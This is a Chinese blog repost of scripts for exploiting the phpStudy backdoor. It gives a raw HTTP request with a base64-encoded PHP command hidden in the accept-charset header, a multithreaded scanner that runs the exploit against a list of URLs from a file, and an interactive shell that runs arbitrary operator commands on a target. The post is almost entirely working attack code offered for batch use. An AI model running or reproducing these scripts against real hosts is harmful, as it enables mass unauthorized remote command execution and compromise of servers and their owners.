phpstudy后门rce批量利用脚本的实现

吾爱主题 阅读:141 2021-09-23 16:04:00 评论:0

写两个一个批量检测的 一个交互式shell的

暂时py 图形化的qt写出来..有点问题

后门包 :

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1

执行那段写shell即可

晚上抽点空简单写个发包的py:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import queue


print("======Phpstudy Backdoor Exploit============
")
print("===========By Qing=================
")
print("=====Blog:https://www.cnblogs.com/-qing-/==
")
payload = "echo "qing";"
payload = base64.b64encode(payload.encode("utf-8"))
payload = str(payload, "utf-8")
headers = {
  "Upgrade-Insecure-Requests": "1",
  "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
  "Accept-Language": "zh-CN,zh;q=0.9",
  "accept-charset": payload,
  "Accept-Encoding": "gzip,deflate",
  "Connection": "close",
}



def write_shell(url,headers):
  try:
    r = requests.get(url=url+"/index.php", headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ("[ + ] BackDoor successful: "+url+"===============[ + ]
")
      with open("success.txt","a") as f:
          f.write(url+"
")
    else:
      print ("[ - ] BackDoor failed: "+url+"[ - ]
")
  except:
    print ("[ - ] Timeout: "+url+" [ - ]
")

url = "http://xxx"
write_shell(url=url,headers=headers)

界面优化、改下多线程、批量读取文本文件后的代码:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool


print("======Phpstudy Backdoor Exploit============
")
print("===========By Qing=================
")
print("=====Blog:https://www.cnblogs.com/-qing-/==
")




def write_shell(url):
  payload = "echo "qing";"
  payload = base64.b64encode(payload.encode("utf-8"))
  payload = str(payload, "utf-8")
  headers = {
  "Upgrade-Insecure-Requests": "1",
  "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
  "Accept-Language": "zh-CN,zh;q=0.9",
  "accept-charset": payload,
  "Accept-Encoding": "gzip,deflate",
  "Connection": "close",
}
  try:
    r = requests.get(url=url+"/index.php", headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ("[ + ] BackDoor successful: "+url+"===============[ + ]
")
      with open("success.txt","a") as f:
          f.write(url+"
")
    else:
      print ("[ - ] BackDoor failed: "+url+"[ - ]
")
  except:
    print ("[ - ] Timeout: "+url+" [ - ]
")

# url = "http://xxx"
# write_shell(url=url,headers=headers)

def main():
  with open("url.txt","r") as f:
    lines = f.read().splitlines()
    task_pool=threadpool.ThreadPool(5)
    requests=threadpool.makeRequests(write_shell,lines)
  for req in requests:
    task_pool.putRequest(req)
    task_pool.wait() 
if __name__ == "__main__":
  main()


#线程队列部分
# th=[]
# th_num=10
# for x in range(th_num):
#     t=threading.Thread(target=write_shell)
#     th.append(t)
# for x in range(th_num):
#     th[x].start()
# for x in range(th_num):
#     th[x].join()

你也可以加上读取php文件的字典 这个简单没啥说的

下一个是交互式shell

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool
import re

print("======Phpstudy Backdoor Exploit---os-shell============
")
print("===========By Qing=================
")
print("=====Blog:https://www.cnblogs.com/-qing-/==
")



def os_shell(url,headers,payload):
  try:
    r = requests.get(url=url+"/phpinfo.php",headers=headers,verify=False,timeout=10)
    # print(r.text)
    res = re.findall("qing(.*?)qing",r.text,re.S)
    print("[ + ]===========The Response:==========[ + ]
")
    res = "".join(res)
    print(res)
  except:
    print("[ - ]===========Failed! Timeout...==========[ - ]
")

def main():
  url = input("input the Url , example:"http://127.0.0.1/"
")
  payload = input("input the payload , default:echo system("whoami");
")
  de_payload = "echo "qing";system("whoami");echo "qing";"
  if payload.strip() == "":
    payload = de_payload
  payload = "echo "qing";"+payload+"echo "qing";"
  payload = base64.b64encode(payload.encode("utf-8"))
  payload = str(payload, "utf-8")
  headers = {
  "Upgrade-Insecure-Requests": "1",
  "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
  "Accept-Language": "zh-CN,zh;q=0.9",
  "accept-charset": payload,
  "Accept-Encoding": "gzip,deflate",
  "Connection": "close",
  }
  os_shell(url=url,headers=headers,payload=payload)
if __name__ == "__main__":
  main()

 以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持服务器之家。

原文链接:https://www.cnblogs.com/-qing-/p/11575622.html

可以去百度分享获取分享代码输入这里。
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

【腾讯云】云服务器产品特惠热卖中
搜索
标签列表
    关注我们

    了解等多精彩内容